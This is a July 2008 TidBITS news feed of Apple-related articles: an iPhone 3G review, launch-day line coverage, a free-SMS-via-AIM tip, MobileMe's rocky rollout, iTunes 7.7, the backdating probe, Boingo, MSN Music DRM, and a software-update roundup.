      Rather than write a comprehensive review of the iPhone 3G and the iPhone 2.0 update - which were released on Friday - these are just my first impressions.


      The Hardware -- Although the iPhone 3G is only slightly wider, the design of the bevel makes it feel overall thinner and wider than it actually is. Aesthetically it's an improvement, but this is like comparing two supermodels. The 3G is definitely sleeker in feel, and the metal buttons (power, volume, and ring mode) in the black plastic are a nice touch with a really great feel. The speakers on the bottom are smaller, but with metal grills rather than the usual tiny holes punched in plastic.

      In subjective testing, the volume of the 3G is probably equal to the original iPhone, but with better sound reproduction. At full volume it sounded less tinny and more like regular speakers, but it still won't shake down the walls of the house. The camera is the same resolution (2 megapixels), but photos seem slightly better on the 3G, although they still lag higher resolution options.

      The much-lauded non-recessed headphone jack is exactly what you'd expect, and it's nice not to have to carry a little adapter around for workouts or car connections anymore. The plastic case is pretty tough, surviving an accidental drop test with just a small scratch when it slipped out of my pocket during a movie.


      3G and GPS -- The star attractions of the iPhone 3G are its increased data speed and inclusion of a built-in GPS (global positioning system) chip. The 3G connection is noticeably faster than EDGE, and the overall reception of the phone seems better. Testing in areas with spotty reception shows the 3G holds better signals - something we frequently get to test thanks to AT&T's network. Web browsing is easily double the speed of EDGE so far in my testing. It doesn't match Wi-Fi performance, of course, but it's still quite satisfying.

      The iPhone 3G is now location-aware thanks to the GPS, which, in combination with cellular triangulation and location information from Skyhook (which maps Wi-Fi networks) is truly outstanding. (The first-generation iPhone uses only cellular triangulation and Skyhook to establish location.) When you switch to the Maps application, you quickly get a large ring with your general location, followed within seconds by a pulsing blue dot at your exact position.

      Early reports suggested the GPS wasn't accurate enough for turn-by-turn directions, but I found it to be both surprisingly accurate and much faster than starting up a traditional GPS device. One of the worries about GPS is where to put the phone in order to get the best reception, but the iPhone 3G managed to hold an accurate position even while being handheld in the car, where GPS signals are notoriously weak. It appears accurate enough to feed audible turn-by-turn directions should Apple authorize a third party navigation application; Apple's developer agreement stipulates that developers cannot create such an application.

      One of the best features of the 3G radio is the capability to make phone calls and use the Internet at the same time. Aside from letting you look up movie times while chatting with your friends, you can now use the GPS and Maps while talking on the phone. That's perhaps not the safest thing to do while you're driving, but at least you'll know exactly which lake you just ran your car into while being distracted.

      On the downside, as Apple warned, the 3G radio consumes a lot more power than EDGE, leading to a noticeable decline in battery life. I tend to travel a lot and really pushed the battery on my first generation iPhone, but could usually make it through a business day. After a couple of days of testing, it was clear I'll need a portable battery pack to survive my trips with the iPhone 3G. (I ordered the APC UPB10, which looks compact enough to carry in my bag, and unlike some other external batteries can directly recharge the iPhone.)


      The iPhone 2.0 Software -- Having tested the iPhone 2.0 firmware on both a first-generation iPhone and the iPhone 3G, the performance appears completely equal aside from network performance. Apart from MobileMe and the App Store, many of the changes are small, but welcome. You can finally bulk-delete or move mail messages; a Contacts application takes you to the same contact list used by the Phone application; the Calculator application becomes a scientific calculator when you turn the iPhone into its horizontal position; Calendar finally supports multiple calendars from iCal (although strangely the colors you assign to calendars in iCal aren't honored); pressing the Home and power buttons simultaneously captures a screenshot and saves it to the Photos application. Two much desired features, cut-and-paste and support for iCal to-do items, are still noticeably lacking.

      The App Store application is well designed, making it easy to move between different categories and find software. (The App Store also appears in iTunes.) Application user ratings are included right in the store (although, oddly enough, not when browsing applications in iTunes). One really nice touch is that the App Store checks for software updates to your installed applications; the App Store icon on the home screen will indicate how many software updates are available. Purchasing titles is easy, and fortunately requires your iTunes account password before you're charged or before a free application is downloaded. The new application's icon immediately appears on the home screen with a little status bar showing the installation progress.

      The downside of the App Store is that not all applications are created equal. Many applications, such as AIM or The New York Times reader, seem plagued with early performance issues and frequent crashes. Some of the location-aware applications in particular seem to lock up or crash location services, requiring a system reboot to regain use of Maps. There's also no shortage of... marginal applications.

      But complaining about a few bad applications and the occasional crash seems almost selfish once you realize how game changing third party application support really is. Want to find a movie? Load up BoxOffice and see times for anything within a 5 (or 10, or whatever) mile radius of your current location. Don't know where the theater is? You're only one tap away from directions and the GPS-enabled Maps. Traveling, have no idea where you are, and need the weather? Weatherbug will give you the forecast for your current location. Want to race prehistoric cars or cute monkeys in bubbles? Stream Internet radio? Dictate a to-do item and have it transcribed to text and added to your calendar? The App Store has you covered. (The links here go to the iTunes Store.)

      Spending just a few days with the 2.0 update and the App Store really gives you a taste of the future of augmented reality - where the phone becomes far more than a communications device or occasional portable game machine. And remember, all these capabilities, except for the pinpoint location provided by GPS, are available to anyone with a first-generation iPhone or iPod touch.


      Final Impressions -- Overall, if you compare an iPhone 3G with its first generation predecessor, the user experience is very similar. Many first generation users will be more than satisfied with their 2.0 update, which is where most of the changes are. You'll still have full use of the App Store and even location services (although without the same accuracy).

      But for heavy data users or frequent - and directionally impaired - travelers, the iPhone 3G is a welcome upgrade. Internet access is materially faster, and the GPS is accurate, useful, and well integrated into various third party applications. If you have a first generation iPhone and are happy, there's no need to upgrade, but the 3G is still a worthy second version of an exceptional product.

       

      Copyright © 2008 Rich Mogull. TidBITS is copyright © 2008 TidBITS Publishing Inc. If you're reading this article on a Web site other than TidBITS.com, please let us know, because if it was republished without attribution, by a commercial site, or in modified form, it violates our Creative Commons License.

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      ]]>             <![CDATA[iPhone 3G: On the Line in Seattle]]> http://db.tidbits.com/article/9691?rss Sun, 13 Jul 2008 21:40:26 PDT http://db.tidbits.com/article/9691 My sister called my cell phone out of the blue on Friday. "Hey, did Apple release something today?" she asked. "There's a huge line at University Village."

      "Yes, the iPhone 3G. I'm in that line!" I replied.

      This chance encounter was one of the highlights of a long day spent in line at the launch of the iPhone 3G at Seattle's University Village Apple Store.

      Glenn Fleishman and I debated whether there would be a big turnout for Apple's revamped phone. Last year, the first iPhone seemed like a much bigger deal: not just a brand new product from Apple, but a smartphone that appeared to eclipse other cellular phones on several fronts. This time around, the changes are more modest, with improved 3G data speed and built-in GPS. The new software features are great, but they're available to anyone who owns a first-generation iPhone. Surely there wouldn't be the same kind of interest on opening day.

      The approximately 400 people in line proved us wrong.


      Activation Woes -- I arrived at 8:00 AM, just as the doors opened and the first five customers were let into the store. Those hardy (crazy?) folks started lining up Thursday at 5:30 PM.

      While the crowd size seemed similar to last year's launch, the time it took to get an iPhone was certainly different. The original experience was genius from the customer's point of view: you bought an iPhone, took it home, plugged it into your computer, and activated it through iTunes. The disadvantage, from Apple's and AT&T's points of view, was that people could purchase iPhones and never sign up for AT&T's two-year service commitment, instead reselling the phone to other markets or unlocking the phone using "jailbreak" software to use with other providers. Under that arrangement, both AT&T and Apple lost out on monthly service fees, since Apple received a percentage of each subscriber's monthly fee.

      This time around, AT&T is subsidizing the cost of the iPhone's price, Apple only gets a cut when the phone is sold (or buyers later purchase software from the iPhone App Store), and buyers must sign up for a service plan and activate the phone at purchase. And with potentially a million people worldwide buying the iPhone 3G on Friday as it went on sale in 21 countries, activation proved to be glacial.

      Almost 40 minutes passed before the first iPhone 3G came out, carried by a sleepy-looking man who seemed startled that a television cameraman, two photographers, and reporters from the big daily papers wanted to take his picture and get his opinion.


      I assumed the problem lay in AT&T's servers, which crumpled under the load last year. According to an anonymously sourced quote in the Seattle Times, however, the problem had more to do with Apple's servers. Despite the advance word that all activation would happen in store, the iPhone 3G needs to be first registered on AT&T's systems and network, and then activated through an Apple process that uses the iTunes Store. By the time the west coast began selling iPhones at 8:00 AM, the rest of the country had been hammering Apple's servers for hours. But that was likely just a fraction of the load, thanks to Apple's decision to simultaneously release the iPhone 2.0 software for existing iPhones (which led to many people temporarily owning upgraded but unusable devices for much of the day).

      Trying to buy an iPhone 3G at an AT&T store proved to be no relief. Several AT&T stores sold out of supplies early - one person near me in line said that the first store he visited sold out in 20 minutes. Another guy spent three hours in line at a different AT&T store before being turned away.


      Awesome Apple Employees -- I don't mean to disparage AT&T, but here's why I never considered buying an iPhone 3G anywhere but at an Apple Store: the employees at the University Village store - and I presume elsewhere - bent over backwards for their patient customers.

      Throughout the day, the employees gave out free bottled water (and collected empty bottles for recycling), wandered along the line offering to answer any and all questions, and made sure we all understood the limitations that could scuttle a purchase. (If your phone is paid for by your company, or you have some discount that would apply, you need to deal with AT&T directly. One Apple specialist pointed out that he wasn't able to buy a new iPhone at the store because Apple is a corporate customer of AT&T.) As time passed, a pair of employees arrived with a cart full of free cookies. And as the sun rose in the sky, they came bearing sunblock and large umbrellas. [Editor's note: I walked by the same Apple Store on Sunday, mid-day, and saw a line of about 50 people in the 80-degree F weather, and Apple Store employees handing out water and snacks, while making sure new additions to the line were up to speed on policies. -gf]

      Throughout the long day, in fact, I never once saw anyone get angry or frustrated. Several people got tired of waiting, or had other commitments and couldn't stay, but they exited with a hearty "good luck" to those of us who stuck with it.


      Captive Audience -- The smarter retailers in the University Village complex recognized the opportunity to pitch their wares at hundreds of potential customers who weren't going anywhere fast. Jamba Juice was giving out free samples of their blended smoothie drinks; Fran's Chocolates had a plate of hazlenut chocolate truffles; and The Ram, the restaurant next door to the Apple Store, was giving out menus and offering to bring orders out to people in line. One fellow, tired of waiting in line, offered to buy someone's first-generation iPhone (though I saw him exit the store at the end of the day with an iPhone 3G after all).


      Some of the marketing didn't go over as well, such as the chiropractor handing out postcards or the Verizon van cruising through the parking lot. One woman crossed the line ahead of me saying, "Who wants a high-five for Verizon?" She wasn't giving out information, and we couldn't tell if she was a Verizon employee or just someone having fun at our expense. But when someone asked why they should high-five for Verizon, she replied, "Well, no one is high-fiving for AT&T." I guess she had a point.

      A local developer, Nathan Hunley of Igloo Games, was handing out cards to publicize Dizzy Bee, the iPhone game he had finished and uploaded to Apple the night before. Dizzy Bee uses the iPhone's motion sensor to control a bee who bounces around maze-like levels attempting to free captured fruit. (Despite that description, Nathan appeared to be as sane as one would expect a sleep-deprived developer to be.)


      At Last, Activation -- I ended up spending only a few minutes in the Apple Store itself. Once inside, an Apple specialist introduced me to one of the Apple geniuses who would be my own personal iPhone shopper for the day. I told him that I wanted a black 16 GB model (all three configurations were in stock) and no accessories. "Great," he said, "I'll go get one and meet you outside."

      At a table under an umbrella, we activated the phone wirelessly. He plugged my information into the Symbol handheld device each employee uses - the concept of going to a register to pay for your purchases is almost extinct at Apple Stores; you can buy what you need anywhere on the floor from an employee.

      He wasn't able to answer my one question about the AT&T plan. The iPhone 3G is actually my wife's birthday present - I'm keeping my first generation iPhone for now - and I didn't know how the addition of another iPhone would affect our FamilyTalk plan. Would the 200 text messages included on my monthly plan go away? The information at AT&T's Web site lists only two options for FamilyTalk plans: $30 per month for unlimited messages or a $0.20 per-message charge. To my surprise, the system gave me the option of choosing the individual plan options for my wife's line. He pointed out that if the billing got messed up, I'd have to work it out with AT&T separately. (Checking my account at AT&T's Web site so far reveals that we're paying $30 more per month for the iPhone 3G, plus the $5 fee for 200 messages, which I chose because that's the easiest route for her; note that it is possible to send SMS messages at no cost using AIM.)


      The First-Day Appeal -- So how long did I wait in line for an iPhone 3G? Did I turn out to be one of the crazy ones? To be fair, I probably would have bailed early on and come back when the initial enthusiasm died down if I wasn't covering the iPhone 3G and the event as a journalist. Instead, I held out - for 8 hours.

      But here's the funny thing about standing in line with like-minded folks: 1 hour becomes 3 hours becomes 5 hours becomes 7 hours (that eighth hour was a bit much, honestly). It wasn't a party, but it wasn't a slog, either. The novelty of having one of the first iPhone 3G units will wear off quickly, but the experience of doing something out of the ordinary with a lot of people, like watching a live concert instead of just listening to an album of the same music, is worth doing on occasion. I joked in line that someday we could tell our grandchildren about the time we stood in line for hours to get an iPhone, and a fellow next to me pointed out that our grandkids will probably just have implants and not understand the concept of a "phone."

       

      Copyright © 2008 Jeff Carlson. TidBITS is copyright © 2008 TidBITS Publishing Inc. If you're reading this article on a Web site other than TidBITS.com, please let us know, because if it was republished without attribution, by a commercial site, or in modified form, it violates our Creative Commons License.

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      ]]>             <![CDATA[Send SMS for Free via AIM on iPhone]]> http://db.tidbits.com/article/9690?rss Sun, 13 Jul 2008 07:22:53 PDT http://db.tidbits.com/article/9690 I expected that iPhone 3G service from AT&T would be more expensive compared to the original iPhone - $30 per month for data on top of voice service, a $10 increase), but the telco slipped in a poison profit pill by removing SMS text messaging from the plan. Instead, you can pay $5 per month for 200 messages (the amount included in the original iPhone plan); $15 per month for 1500 messages, or $20 per month for unlimited messages. If you sign up for a FamilyTalk plan, your choices are either $30 per month for unlimited or $0.20 per message.

      Text messaging is already one of the great bamboozlements of the technology age, given the prices charged for what amounts to a miniscule amount of data transferred. Making the service an extra fee for a smartphone is just cruel.

      With the release of the iPhone 2.0 software, you can send SMS messages from your iPhone for free. (To clarify, this appears to work only in the United States; Joe Kissell, who lives in France, reports that the following technique does not work with the "+33" designation there.) The secret is a capability that already exists on your Mac: send it via iChat/AIM. (This technique works on the iPod touch, too, but I'll just use "iPhone" from here on out to avoid writing "iPhone or iPod touch" over and over.) Here's how:

      1. From the App Store, either in iTunes or on an iPhone, download and install the free AIM client for iPhone (link goes to the iTunes store).
      2. In iChat (or whichever instant messaging software you use), create a new contact whose AIM address is a plus sign and the mobile number of a friend, such as "+12065551212".


      3. On the iPhone, launch AIM. Your buddy list is stored on AIM's servers, so connecting to the service reveals your new buddy.


      4. Tap the buddy name, compose a text message, and tap Send.


      When the other person receives the message and writes a reply, the return message appears in AIM (though the other person will have then paid to send an SMS).

      This approach is a bit more work, and if you're a frequent text message user it may be worth paying AT&T (or whomever your provider is; plans vary widely around the world) for the convenience of just using the SMS application. But if you need to dash off a quick message without wondering if you're getting your $0.20 worth, AIM is a good alternative. It also helps lessen the pain of getting gouged by greedy telcos.

       

      Copyright © 2008 Jeff Carlson. TidBITS is copyright © 2008 TidBITS Publishing Inc. If you're reading this article on a Web site other than TidBITS.com, please let us know, because if it was republished without attribution, by a commercial site, or in modified form, it violates our Creative Commons License.

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      ]]>             <![CDATA[MobileMe Fails to Launch Well, But Finally Launches ]]> http://db.tidbits.com/article/9689?rss Sat, 12 Jul 2008 08:00:47 PDT http://db.tidbits.com/article/9689 MobileMe, Apple's replacement for its long-running .Mac service, kicked off to a rocky start last week following what was supposed to be an overnight transition. (For an overview of what's changed between the two services, see ".Mac Morphs into MobileMe," 2008-06-09.) The crush of activity on Apple's servers during the iPhone 3G launch and release of the iPhone 2.0 software further crippled the service, but its performance appears to have stabilized.

      If you're wondering just how to update to MobileMe in Mac OS X 10.5 Leopard, there's a trick - it doesn't automatically appear in Software Update, nor is it available as a download from Apple's downloads support page (at least, at the time I wrote this article). Instead, go to System Preferences and click the .Mac preference pane, where you will be prompted to download the update. After you apply it, simply close System Preferences and open it again to find the MobileMe preference pane in place of .Mac; you don't need to restart the Mac.


      So far, Apple hasn't signaled how or if .Mac will be updated in 10.4 Tiger or earlier releases of Mac OS X.


      Bumpy Rollout -- Users were greeted for most of Thursday with a routine message with few details; on Friday, the message was upgraded with slightly more useful information, but no apology nor estimated time until the service would be usable again:


      "The MobileMe transition is underway but is taking longer than expected. While core services such as desktop mail, iDisk and sync are available, the new MobileMe web applications are not yet online. Thank you for your patience as we complete the upgrade."

      While MobileMe wasn't slated to launch until Friday, July 11th, Apple planned to perform some heavy lifting on Wednesday night, with a plan to finish in the wee hours of Thursday.

      The service finally launched at me.com sometime between Friday night and Saturday morning. MobileMe's Web 2.0 applications were briefly available at times on Friday.

      Apple made no other public comments on the matter, according to several Mac industry and mainstream articles. This is what is known as an "epic fail," to use a phrase common for its terseness in Twitter: a transition key to the company's relationship with its individual users has gone horribly wrong.


      Hoping for a Smooth Road Ahead -- The good news is that the ease of use of the new system is extraordinarily high. Apple has managed to instill the feeling of a desktop application into a Web-based one; it's about the best I've seen. The Mail screen, for instance, is far more polished and interactive than Google's Gmail, which has been under development for years. You can make contiguous and non-contiguous selections, drag and drop, and use Control plus various keys for menu selection or actions. In iCal, for instance, you press Control-right arrow to move forward a week in the week view.

      .Mac synchronization has been the bane of my life for years, with it working erratically, duplicating entries, and working magically without intervention for periods of time. During the MobileMe transition, my laptop Address Book locked up, and despite all efforts won't synchronize at all even when it says it has. (I've deleted its data store, reset the sync, and repaired disk permissions. The error log for "dotmacsynclient" persistently shows obscure errors that I can't find via Google; Apple's message boards have search disabled due to high load.)

      My office desktop Mac restored hundreds of entries I'd deleted on multiple computers, many of them duplicates of existing entries, and which must have been cached at .Mac. I went through and reculled my contacts. My iPhone initially had problems picking up changes from my desktop Mac via MobileMe, but ultimately appears to be handling the new push service just fine. It's awfully nice to be able to change a contact's phone number or update a calendar entry and have it flow through everywhere.

      How did Apple get in this mess? Obviously by leaving themselves too little time, and deciding to do a full power-off/power-on switchover, which is a known method of producing epic failures. The more intelligent move would have been to delay the MobileMe launch, and open it up to current subscribers to move in small numbers, offering a "transition" button that would have converted data stores from .Mac to MobileMe. The architecture certainly would have allowed that.

      But Apple had a lot staked on having a successful iPhone 3G launch, and wanted iPhone 2.0 software, MobileMe, and the new phone to appear simultaneously for the biggest bang. Well, they got a bang; no one can deny that.

      [Note: This article was updated to explain that the MobileMe software update applies for now only to Mac OS X 10.5 Leopard.]

       

      Copyright © 2008 Glenn Fleishman. TidBITS is copyright © 2008 TidBITS Publishing Inc. If you're reading this article on a Web site other than TidBITS.com, please let us know, because if it was republished without attribution, by a commercial site, or in modified form, it violates our Creative Commons License.

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      Windows Mobile phone. <http://www.markspace.com/bits>
       
      ]]>             <![CDATA[iTunes 7.7 Released in Preparation for iPhone 2.0]]> http://db.tidbits.com/article/9688?rss Thu, 10 Jul 2008 08:50:03 PDT http://db.tidbits.com/article/9688 The day before the iPhone 3G and iPhone 2.0 software are due to appear, Apple has released iTunes 7.7. The update adds support for iPhone 2.0 syncing and the App Store when it becomes available. Also added is support for a new Remote application for the iPhone and iPod touch that lets you control iTunes from those devices.

      But wait, you can get a sneak peak at the App Store now! After installing the iTunes 7.7 update (available via Software Update or as a 48.32 MB download), perform a search for an iPhone application name (such as Twitterific), click the application name, and you'll be able to browse the entire store and download applications.

      Currently the iTunes 7.7 update is available only for Mac OS X 10.3.9, Mac OS X 10.4.9 or later, or Mac OS X 10.5 or later.


      Update -- The App Store now appears in iTunes at the iTunes Store. (Is that like the old CompUSA store-within-a-store concept? Never mind.)

       

      Copyright © 2008 Jeff Carlson. TidBITS is copyright © 2008 TidBITS Publishing Inc. If you're reading this article on a Web site other than TidBITS.com, please let us know, because if it was republished without attribution, by a commercial site, or in modified form, it violates our Creative Commons License.

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      ]]>             <![CDATA[Backdating Investigation on Apple Shares Ends]]> http://db.tidbits.com/article/9687?rss Wed, 09 Jul 2008 20:18:26 PDT http://db.tidbits.com/article/9687 The Wall Street Journal reports that the Justice Department has ended its criminal investigation into whether Apple executives broke the law when they backdated some options without proper accounting and disclosure. Neither Apple nor the Justice Department has made a statement confirming that the investigation is over, but lawyers representing some of those under a cloud told the Journal that they were informed the probe is finished. A civil action by the SEC and private lawsuits are still underway, however.

      The SEC looked into Apple's revelation that they had issued stock options to a variety of employees, including Steve Jobs and other executives, that tied the options to a date prior to that on which the options were granted, so called backdating. Stock options are the right, but not the obligation, to purchase stock at a specific price no matter the current price.

      By backdating options, a company can assure a windfall to the recipients. Companies may backdate options in many circumstances, but must account for them as a higher expense than merely granting current-dated options, as there's a negative effect on the equity of a firm's shareholders. An academic researcher and The Wall Street Journal blew the lid off this widespread and long-running practice; executives at other firms were indicted, sued by shareholders, fired, or all three. (For more background on backdating, see "Apple Reports on Options Backdating Problems," 2006-10-06.)

      The investigation has lasted nearly two years. A parallel SEC examination led to civil charges filed against two former Apple executives. Former chief financial officer Fred Anderson, who did not admit to wrongdoing or any of the charges, settled them almost immediately, giving up $3.7 million in gains, interest, and penalties (see "Former Apple Employees Charged in Stock Option Backdating," 2007-04-30). Anderson, who had left his job as CFO at Apple on good terms in 2004, resigned from Apple's board the day it released its first report on backdating in October 2006.

      Nancy Heinen, Apple's former general counsel, was also charged and still faces civil action by the SEC, according to her lawyer as quoted in the Journal. The charges against Anderson and Heinen centered on options granted to Steve Jobs, which were canceled before they were exercised, and replaced with 10 million properly restricted stock grants that were properly accounted for. (Jobs sold about $300 million of those shares when the restrictions ended in 2006 to pay the tax due. He still holds 5.5 million shares worth nearly $1 billion.)

      Apple released its own report on the matter back in January 2007 from an internal committee headed by former Vice President Al Gore, a board member (see "Apple Releases Stock Option Backdating Report," 2007-01-08). That report will likely stand as the public accounting unless Heinen's case goes to trial and additional facts are revealed.

      The apparent end of this Justice Department probe also means an end to the speculation that Jobs would face a trial or be forced to resign as part of a settlement. While in recent months this issue seemed to be in abeyance, this probably relaxes the stock market and analysts who speculated on an abrupt change in who would be running Apple.

      The backdating kerfuffle in part led to Daniel Lyons's blog, The Secret Diary of Steve Jobs, written by Lyons's nom-de-blog Fake Steve Jobs. Lyons wrote a book called oPtion$ that fictionalized and satirized the minor scandal (see "My Real Breakfast with Fake Steve Jobs," 2007-10-24).

      Lyons recently announced on his Fake Steve blog that he was discontinuing writing in a faux Jobs style. Lyons was recently hired away from his current employer, Forbes, to take over Steven Levy's technology beat at Newsweek. (Levy had previously left Newsweek for Wired.)

      The timing was suspicious - how did Lyons know that his story arc was at an end? Perhaps...an investigation will be launched.

       

      Copyright © 2008 Glenn Fleishman. TidBITS is copyright © 2008 TidBITS Publishing Inc. If you're reading this article on a Web site other than TidBITS.com, please let us know, because if it was republished without attribution, by a commercial site, or in modified form, it violates our Creative Commons License.

      WebCrossing Neighbors Creates Private Social Networks
      Create a complete social network with your company or group's
      own look. Scalable, extensible and extremely customizable.
      Take a guided tour today <http://www.webcrossing.com/tour>
       
      ]]>             <![CDATA[Apple Stores Ready for 3G Onslaught]]> http://db.tidbits.com/article/9686?rss Tue, 08 Jul 2008 08:38:02 PDT http://db.tidbits.com/article/9686 We've already reported that AT&T stores in the U.S. will be opening at 8am local time this Friday to start selling the new iPhone 3G (See "AT&T Waking Up Early Friday for iPhone Sales," 2008-07-04), and now Apple has posted an iPhone 3G retail page with details on sales at brick-and-mortar Apple Stores.

      Naturally, Apple, too will begin selling the iPhone 3G at 8am Friday at their U.S. stores, and their encouragement to "arrive early to get in line" seems superfluous; there have already people lined up in Manhattan since last Friday.

      Apple has also provided a helpful list of what to bring, which will apply at both AT&T and Apple retail outlets: credit card, social security number, government-issued photo ID, and your current wireless account number and password or PIN if you're transferring from another carrier to AT&T. (Check with your current carrier what fees may apply to transferring your number, especially if you're currently under a contract.)

      I'm amused that Apple is touting its "free" in-store Personal Setup service for iPhone 3G purchasers. Unlike previous iPhone transactions, you won't be allowed to walk out the door with an iPhone 3G until you've activated it on a two-year AT&T contract.

      Apple's site will also provide daily in-store availability reports after 9pm in the local time zone of each store, for those who wish to confirm a store will have phones in stock for the next day.

      Meantime, as we're sure a flood of used first-generation iPhones is about to hit the market, we encourage our readers to take care to purchase from sellers they trust. Some used iPhone buyers have been scammed with fraudulently purchased phones, and the unsuspecting buyers are billed by AT&T for the retail price of a phone they've already paid for.

       

      Copyright © 2008 Mark H. Anbinder. TidBITS is copyright © 2008 TidBITS Publishing Inc. If you're reading this article on a Web site other than TidBITS.com, please let us know, because if it was republished without attribution, by a commercial site, or in modified form, it violates our Creative Commons License.

      VMware Fusion. The most seamless way to run Windows on your Mac.
      Backed by nearly a decade of proven virtualization technology.
      Try VMware Fusion today for free, or order online for only $79.
      Visit: <http://www.tidbits.com/about/support/vmware-fusion.html>
       
      ]]>             <![CDATA[Go, Go, Boingo Gadget Hotspot Application!]]> http://db.tidbits.com/article/9685?rss Mon, 07 Jul 2008 15:39:14 PDT http://db.tidbits.com/article/9685 The folks at Boingo Wireless play their own game of Katamari Damacy, rolling up hundreds of disparate Wi-Fi hotspot networks and tens of thousands of hotspots around the world into one flat-priced footprint. They have now enhanced support for Mac users with a lightweight application - GoBoingo - that's designed to make it easier to connect to hotspots that are part of their network.

      Before the GoBoingo client was released officially, you could sign up for a Boingo account and at most hotspots in the company's network enter your credentials manually. I have subscribed to Boingo most recently since January 2008, and have used dozens of hotspots in that more tedious method. (Typically, you have to look for a partner link on the main gateway page for a hotspot, select Boingo, and then enter your user name and password.)

      GoBoingo has no user interface as such. Once installed, it runs in the background, and alerts you when a Boingo partner network is in the vicinity. You then enter your login details - if you haven't connected before - and you're informed about cost if your plan requires a payment.

      Boingo has two recurring unlimited service options: $22 per month for about 60,000 hotspots in the United States, or $39 per month for about 100,000 hotspots worldwide. The company requires no contract. With a Boingo account, you can also purchase 24-hour passes to the network for $8, and have it billed to whatever credit card is associated with your Boingo account.

      Readers with long memories will recall that Boingo had a slightly more complicated Macintosh client a few years ago (see "Boingo for Macintosh Launches," 2005-01-10). That software apparently continued to work through Mac OS X 10.4 Tiger, but didn't function under 10.5 Leopard.

       

      Copyright © 2008 Glenn Fleishman. TidBITS is copyright © 2008 TidBITS Publishing Inc. If you're reading this article on a Web site other than TidBITS.com, please let us know, because if it was republished without attribution, by a commercial site, or in modified form, it violates our Creative Commons License.

      MARK/SPACE, INC: Take it with you! The Missing Sync makes
      it easy to synchronize contacts, calendars, notes, photos
      and more from your Mac to your BlackBerry, Palm OS, or
      Windows Mobile phone. <http://www.markspace.com/bits>
       
      ]]>             <![CDATA[MSN Music Doesn't Kill Future Playability of Purchased Tracks]]> http://db.tidbits.com/article/9684?rss Mon, 07 Jul 2008 15:19:22 PDT http://db.tidbits.com/article/9684 Microsoft blinked on its way to terminating the future capability to play music purchased from the defunct MSN Music store. On 31-Aug-08, The company had planned to pull the plug on its authorization servers, the back-end systems that are required for music owners to change the set of machines on which their purchased music is allowed to play. Computers that were already authorized to play music would still be able to play the music, however; Microsoft wasn't planning to use what's called "self-help" and disable existing rights and authorizations. (See "Thank You for Not Playing: Microsoft Expires DRMed Music," 2008-04-30.)

      The company backpedaled a few weeks ago and said that it will keep its authorization systems running until at least the end of 2011. Microsoft faced a storm of media and user criticism over the move, which was nearly the worst-case scenario for those who oppose restrictive digital rights management. (The worst case is when all music playing rights would expire, not just the right of transfer and authorization.)

      It was clear to observers that Microsoft could also have faced class-action lawsuits, given the large number of purchasers, the lack of alternatives (excepting ripping and burning discs, degrading the music quality), and the unilateral action.

      Judges are increasingly handing down negative judgments and fines against the music industry trade group RIAA. Microsoft had to view the downside to its move to save most likely a few hundred thousand dollars a year against millions in defending itself and tens of millions if they lost a multi-year lawsuit.

       

      Copyright © 2008 Glenn Fleishman. TidBITS is copyright © 2008 TidBITS Publishing Inc. If you're reading this article on a Web site other than TidBITS.com, please let us know, because if it was republished without attribution, by a commercial site, or in modified form, it violates our Creative Commons License.

      WebCrossing Neighbors Creates Private Social Networks
      Create a complete social network with your company or group's
      own look. Scalable, extensible and extremely customizable.
      Take a guided tour today <http://www.webcrossing.com/tour>
       
      ]]>             <![CDATA[TidBITS Watchlist: Notable Software Updates for 14-Jul-08]]> http://db.tidbits.com/article/9683?rss Fri, 04 Jul 2008 14:50:21 PDT http://db.tidbits.com/article/9683
    21. iPhone 2.0 and iPod touch 2.0 (direct link to iTunes Store) from Apple update first-generation iPhones and existing iPod touch devices to the latest version of the iPhone operating system. Among numerous improvements, the 2.0 updates enable third-party application software from Apple's App Store (including an App Store application on the device), support for separate calendars in the Calendar application, a search field for the Contacts application, improved Mail handling, and support for MobileMe push syncing. The updates are available via iTunes and require remote activation from the iTunes Store before they can function. (On the launch day, when Apple's servers failed to handle the demand of iPhone 2.0 upgrades and new iPhone 3G activations, people's updated iPhones were unusable for much of the day. We haven't seen the problem resurface, however.) As with previous iPod touch updates that add significant functionality, Apple charges an upgrade fee due to the way the company accounts for iPod income. (Free update for iPhone, $9.95 for iPod touch, 225 MB)
    22. iTunes 7.7 from Apple adds support for iPhone 2.0 syncing and the App Store. Also added is support for a new Remote application for the iPhone and iPod touch that lets you control iTunes from those devices. Currently the iTunes 7.7 update is available only for Mac OS X 10.3.9, Mac OS X 10.4.9 or later, or Mac OS X 10.5 or later. (Free update, 48.32 MB)
    23. Apple TV 2.1 from Apple adds support for the new Remote application on the iPhone and iPod touch; on the Apple TV, go to Settings > General > Remotes to set up the device. The update also includes several security enhancements that guard against behavior caused by maliciously crafted video and image files. Apple TV 2.1 is available only on the Apple TV itself (Settings > General > Update Software). (Free update)
    24. Microsoft Remote Desktop Connection Client for Mac 2 is an update of Microsoft's tool for connecting to and controlling a Windows PC from a Mac. This version is now a universal application for running on both Intel- and PowerPC-based Macs; uses the Remote Desktop Protocol 6.0 for better performance with Windows Vista, including Network Level Authentication security; offers the capability to connect to multiple computers simultaneously; automatically reestablishes sessions when the connection is lost; prints from the Windows environment to any printer available to the Mac; and improves screen handling and interface issues. The utility requires Mac OS X 10.4.9 or later. (Free, 7.7 MB)
    25. GraphicConverter 6.1.2 from Lemkesoft updates the multipurpose image editor with improved support for EXIF data and bug fixes - but that only describes the latest minor update. GraphicConverter has always been one of the most versatile applications on the Mac for reading and saving image files of all stripes, but in recent versions the program has also become a full-fledged digital photography toolbox. If an image file has you flummoxed, GraphicConverter is likely to be your lifeline. ($34.95 new, free update, 41.4 MB)
    26. PDFpen 3.4.2 and PDFpenPro 3.4.2 from Smile on My Mac improve performance when using optical character recognition (OCR) to read PDFs such as electronic faxes thanks to better handling of font widths. The updates also squash a crashing bug affecting some bank statements and offer other fixes. ($49.95 new for PDFpen or $94.95 for PDFpenPro, free upgrade, 5.3 MB)
    27. Safari 3.1.2 for Tiger from Apple "includes stability improvements and the latest security updates." In particular, that means that Apple fixed a vulnerability in the WebKit framework upon which Safari relies that could enable an exploit if you visited a Web site that used maliciously crafted JavaScript. The Leopard version of Safari was updated by either the Mac OS X 10.5.4 Update, or by Security Update 2008-004. Software Update should provide the download for those who need it, or you can download directly from Apple's Web site. (Free, 49.2 MB)
